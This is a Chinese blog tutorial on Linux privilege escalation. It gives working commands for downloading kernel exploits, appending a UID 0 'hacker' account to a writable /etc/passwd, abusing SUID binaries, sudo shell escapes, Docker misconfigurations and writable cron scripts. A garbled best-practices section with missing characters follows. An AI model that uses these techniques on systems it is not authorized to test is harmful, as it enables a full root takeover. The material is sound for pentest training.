Linux提权具体方法

#新星杯·14天创作挑战营·第10期#

前言

在实际的渗透测试或权限维持过程中,提权往往是关键的一步。通过提权,攻击者可以从一个受限的低权限账户升级为高权限用户,从而获取更大的操作权限,进一步控制系统或窃取敏感信息。提权方式多种多样,涵盖了系统配置漏洞、程序权限设置错误、服务漏洞利用等多个方面。

本文将重点介绍几种常见且实用的提权方式,包括内核漏洞提权/etc/passwd 提权Docker 提权定时任务提权SUID 提权以及Sudo 提权等。每种方法都将配合实际示例进行讲解,帮助读者更清晰地理解其利用思路与操作流程。

如果你尚不熟悉提权的基本原理与前期信息收集工作,可参考这篇文章了解相关基础内容:点此查看

内核提权
概述

内核漏洞提权是利用 Linux 系统内核中存在的已知安全漏洞,获取 root 权限的一种高效提权方式。由于 Linux 是开源系统,长期以来被广泛研究,暴露出大量内核漏洞。提权过程通常包括三步:收集目标系统的内核版本信息,查找与之对应的可利用漏洞及 EXP,最后执行 EXP 实现权限提升。该方法适用于权限受限的普通用户,提权成功率高,但也可能导致系统不稳定或崩溃,因此在实际操作中需谨慎使用。

EXP项目地址
  1. https://github.com/belane/linux-soft-exploit-suggester
  2. https://github.com/jondonas/linux-exploit-suggester-2
  3. https://github.com/PenturaLabs/Linux_Exploit_Suggester
  4. https://github.com/mzet-/linux-exploit-suggester

在本次演示中,我们将采用 第四个项目 。该工具能够根据目标系统的内核版本,快速分析并推荐可用的本地提权漏洞,帮助渗透测试人员识别潜在的提权机会。它是一个高效的漏洞建议工具,适用于漏洞评估和漏洞利用的准备工作。

利用过程

运行脚本会获得系统信息,然后提供可以利用的脚本地址。

截屏2025-04-21 15.17.43

Highly probable: 评估的内核很可能受到影响,并且 PoC 漏洞利用很可能可以直接使用,无需重大修改。

Probable: 利用可能有效,但很可能需要定制 PoC 漏洞利用以适应你的目标。

Less probable: 需要额外的手动分析来验证内核是否受到影响。

Unprobable: 内核受到影响的可能性极低(该漏洞在工具的输出中未显示)。

下载命令

wget https://www.openwall.com/lists/oss-security/2022/08/29/5/1 -O exploit.c

然后根据漏洞情况编译运行就可以了。

/etc/passwd提权
概述

当系统错误地将 /etc/passwd 设置为可写时,攻击者可以向其中添加一个伪造的 root 用户(UID 为 0)。通过这个账号登录后,就能直接获取系统最高权限。该方法简单有效,常见于配置不当的系统或靶机环境中。

利用特征

运行信息收集工具后,发现系统给出了明确的提权提示(工具详情在前言提到的文章里面有)。

截屏2025-04-21 15.48.34

普通用户检查 /etc/passwd 文件权限时,发现该文件对当前用户具有写权限,为后续的提权操作提供了可行入口。具体各个字段代表的信息同样可以参考前言部分的文章。

截屏2025-04-21 15.39.50

下面这张图是没有写权限的

截屏2025-04-21 16.02.33

利用过程
生成伪造 root 账号密码串

使用 opensslpython 生成一个加密密码,例如密码为 123456

openssl passwd -1 123456

截屏2025-04-21 15.55.09

多种方式生成加密密码。

# 使用 mkpasswd 生成 SHA-512 哈希值
mkpasswd -m SHA-512 123456
# 使用 Python 中的 crypt 库生成哈希值
python -c 'import crypt; print crypt.crypt("123456", "$6$salt")'
# 使用 Perl 和 crypt 生成哈希值
perl -le 'print crypt("123456", "abc")'
# 使用 PHP 生成哈希值
php -r "print(crypt('123456','123') . ' ');"
构造账号条目

例如添加一个名为 hacker 的 root 用户

hacker:$1$gsScV.jb$NaQjGTtNccPyBYkFQYNad0:0:0:root:/root:/bin/bash
追加到 /etc/passwd 文件中

使用普通用户直接写入

echo 'hacker:$1$gsScV.jb$NaQjGTtNccPyBYkFQYNad0:0:0:root:/root:/bin/bash' >> /etc/passwd
切换到新账号
su hacker
Docker提权
概述

Docker 提权是指通过容器配置漏洞或不当设置,突破容器的隔离限制,从而获得宿主机的 root 权限。常见的提权方式包括利用 --privileged 标志、挂载宿主机目录、以及内核漏洞等。攻击者可以通过这些漏洞突破容器的安全限制,实现从容器内提权至宿主机。

由于 Docker 提权方式繁多,这里主要关注两种常见的风险:特权容器和挂载宿主机目录的容器。后续将发布更详细的 Docker 提权文章,进一步探讨更多的提权方法。

利用特征

使用docker ps -a可以查看container_id

截屏2025-04-21 16.16.25

特权容器

容器如果以 --privileged 标志运行,将获得宿主机的几乎所有权限,可能导致提权风险。可以通过以下命令检查容器是否以特权模式运行:

docker inspect --format '{{.HostConfig.Privileged}}' <container_id>
挂载宿主机目录的容器

如果容器挂载了宿主机的敏感目录(如 /etc/root 等),容器中的恶意用户可以直接访问这些目录,从而提升权限。可以通过以下命令查看容器的挂载信息:

docker inspect --format '{{json .Mounts}}' <container_id>
利用过程
特权容器

如果容器以特权模式运行,容器内的用户将获得几乎与宿主机相同的权限。这意味着容器内的用户能够执行与宿主机相关的操作,甚至修改宿主机的文件系统,带来较高的提权风险。

挂载宿主机目录的容器

当容器挂载了宿主机的敏感目录(如 /etc/root 等),容器内的恶意用户可以修改这些目录中的关键文件。特别地,容器中的用户可以通过修改 /etc/passwd 等文件实现提权操作,具体方法可以参考**/etc/passwd提权**部分。

SUID提权
概述

SUID(Set User ID)是文件权限的一种设置,当一个文件具有 SUID 权限时,执行该文件的用户将临时获得该文件拥有者的权限,通常是 root 权限。这种权限主要用于允许普通用户执行某些高权限的操作,例如访问或修改系统资源。然而,若某些二进制文件或实用程序错误地设置了 SUID 权限,攻击者便可以利用这些文件提升权限,从而获得 root 权限,造成安全风险。因此,正确管理和审查 SUID 权限的文件对于系统安全至关重要。

查找root权限的SUID文件

使用信息收集工具的提示。

截屏2025-04-21 19.11.18

查找是否有以 root 身份执行的二进制程序(即拥有 SUID 且属主为 root),攻击者可以借助这些程序尝试“越权”执行某些操作,从而提升自身权限

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
高危 SUID 程序

以下是一些具有 SUID 权限时常被用于提权的高危可执行文件,这些程序多数收录在 GTFOBins 中,通常可以直接利用提权:

/usr/bin/find:利用 -exec 参数执行任意命令,例如 find . -exec /bin/sh ; 即可提权
/usr/bin/vimvi:通过命令模式 :!sh 拿到 root shell
/usr/bin/pythonpython3:使用 os.system(“/bin/sh”) 或 subprocess 模块执行命令
/usr/bin/perl:使用 system(“/bin/sh”) 拿 shell
/usr/bin/env:可用 env /bin/sh 方式执行 shell
/usr/bin/bash:如果带有 SUID,可直接提权执行 /bin/bash -p

利用方式

如果通过上面的方法发现了系统中的敏感 SUID 程序,可以查阅相关命令或脚本实现提权操作。除此之外,还可以直接使用一些自动化工具来简化流程。

AutoSUID 是一个开源项目,其主要目标是自动化地收集系统中的 SUID 可执行文件,并尝试查找可用的提权方式。该工具实现了全流程的 100% 自动化,有效提高了提权的效率与成功率。

GitHub地址

Sudo提权
概述

在 Linux 系统中,sudo 命令用于让普通用户以其他用户(通常是 root)的身份执行命令。正常情况下,执行 sudo 需要输入用户自己的密码,但为了运维方便,管理员可能会在 sudoers 文件中配置某些用户或命令为无需密码(NOPASSWD)即可执行。如果这些配置不当,攻击者可能利用它们执行高权限命令,从而实现本地提权,因此 sudo 配置错误常常是提权的关键入口之一。

利用特征

通过信息收集工具可以快速扫描系统中存在的 SUID 程序和 sudo 权限配置。一旦发现存在已知的提权方式,工具通常会直接给出利用建议,例如:

截屏2025-04-21 19.13.58

手工测试结果

截屏2025-04-21 19.15.28

在正常环境中,系统可能存在多种语言设置,直接手工测试有助于我们理解提权原理和验证工具提示的准确性。不过在实际渗透过程中,面对复杂多变的系统配置,还是建议优先使用信息收集工具,它们可以快速、全面地识别潜在的提权点,大大提升效率和成功率。

提权命令

具体使用哪个命令进行提权,需要参考信息收集工具的扫描结果。根据扫描结果,若发现用户可以通过 sudo 执行 Python,通常可以使用以下命令:

sudo python -c 'import os; os.system("/bin/bash")'
其他命令
sudo /bin/bash
# 使用 sudo 启动一个新的 Bash shell。若 sudo 配置允许执行该命令,用户便能获取 root 权限并进入 shell。
sudo /bin/sh
# 与 sudo /bin/bash 类似,使用 sudo 启动一个新的 sh shell。常用于一些环境下无法使用 Bash,但仍能通过其他 shell 提权的情况。
sudo python -c 'import os; os.system("/bin/bash")'
# 通过 Python 的 os.system() 方法执行命令。该命令在 Python 中执行 bash,从而获得一个新的 shell 以提权。
sudo perl -e 'exec "/bin/bash"'
# 利用 Perl 语言中的 exec 函数直接执行 /bin/bash,从而获得 root 权限下的 Bash shell。
sudo vim -c '!sh'
# 使用 vim 编辑器执行命令 !sh 启动一个新的 shell。vim 的 -c 参数用于在启动时执行 Vim 命令,这里使用它来启动 sh shell。
sudo vi -c '!sh'
# 与 sudo vim -c '!sh' 类似,利用 vi 编辑器的 -c 参数执行命令 !sh,从而获得一个新的 shell。
sudo find / -exec /bin/bash \;
# 使用 find 命令遍历系统文件,并通过 -exec 参数执行 /bin/bash。如果 sudo 配置允许执行该命令,就会启动一个 Bash shell。
sudo awk 'BEGIN {system("/bin/sh")}'
# 使用 awk 命令执行系统命令。这里通过 BEGIN 动作直接执行 sh,启动一个新的 shell。
定时任务提权
概述

定时任务(cron job)是 Linux 系统中用于定期执行任务的工具,允许系统在指定时间间隔内自动运行命令或脚本。由于 cron 通常以 root 权限执行,如果攻击者能够修改 cron 配置文件或其执行的脚本或二进制文件,就可以利用 root 权限执行任意代码,从而实现提权。攻击者通过获取对定时任务的控制,能够在系统中以 root 权限运行恶意代码,造成严重的安全威胁。因此,定时任务的安全配置和监控在系统管理中至关重要。

利用特征

前期信息搜集工具发现定时任务里面有test.py的文件

截屏2025-04-21 19.36.40

手工查看定时任务的命令vim /etc/crontab

查看test.py文件权限,发现任何用户都可写(具体判断方法可以参考前言提到的文章)。

截屏2025-04-21 19.53.07

提权命令
#!/bin/bash
# 使用 Shell 脚本启动一个新的 bash shell 提权
/bin/bash

#!/usr/bin/python
# 使用 Python 的 os.system 方法执行命令,启动 bash 提权
import os
# 执行 /bin/bash 提权命令
os.system("/bin/bash")

#!/usr/bin/perl
# 使用 Perl 的 exec 方法执行 bash 提权
exec("/bin/bash");

#!/usr/bin/ruby
# 使用 Ruby 的 exec 方法执行 bash 提权
exec("/bin/bash")

#!/usr/bin/lua
-- 使用 Lua 的 os.execute 方法执行 bash 提权
os.execute("/bin/bash")

### Linux操作的最佳实践 在Linux环境中,为了保障系统的安全性,在执行任何涉及升的操作时都应遵循最小限原则[^3]。这意味着仅赋予完成特定任务所需的最低限度限,并严格限制能够获得更高限的场景。 #### 使用 `sudo` 进行受控 对于日常管理和维护工作而言,推荐通过配置 `/etc/sudoers` 文件来定义哪些命令允许普通用户以超级用户的限运行。这不仅高了工作效率,还减少了因长期保持高限状态而带来的风险。当需要临时限时,可以通过 `sudo` 命令前缀指定要执行的具体指令: ```bash $ sudo apt update && sudo apt upgrade -y ``` 这种方式下,每次调用都需要输入当前用户的密码验证身份,从而降低了潜在威胁的影响范围。 #### 配置服务进程的身份切换机制 针对长时间运行的服务程序(如 Web 服务器),建议采用非特账户启动应用实例,必要时再借助内置功能或外部工具完成必要的初始化动作后的限转换。例如 Apache HTTP Server 可由专门设立的低限账号负责监听对外端口,而在加载模块或访问受限资源之前适时转变为具有适当授的角色继续处理请求。 #### 定期审查和更新限分配策略 随着业务需求的变化和技术栈演进,原先设定好的限模型可能不再适用新的环境条件。因此,定期开展内部审计活动就显得尤为重要——检查现有规则是否存在过度宽松之处;评估新引入组件的安全性影响;及时修补已知漏洞并调整相应措施以适应最新形势发展。 #### 实施严格的日志记录与监控体系 无论采取何种形式的手段,都应该配套建立完善的日志采集设施以便事后追溯异常行为轨迹。特别是那些涉及到敏感数据读写、系统核心参数修改等关键环节的日志条目更需重点关注。此外,结合实时告警平台可进一步增强对突发状况的响应速度,确保第一时间察觉可疑迹象并作出妥善处置安排。 ```python import logging.handlers logger = logging.getLogger('auth') handler = logging.handlers.SysLogHandler(address='/dev/log') formatter = logging.Formatter('%(asctime)s %(name)s: %(levelname)s %(message)s') handler.setFormatter(formatter) logger.addHandler(handler) logger.setLevel(logging.INFO) def log_privilege_change(user, action): logger.info(f'User {user} performed privilege change operation: {action}') ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_Poseidon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值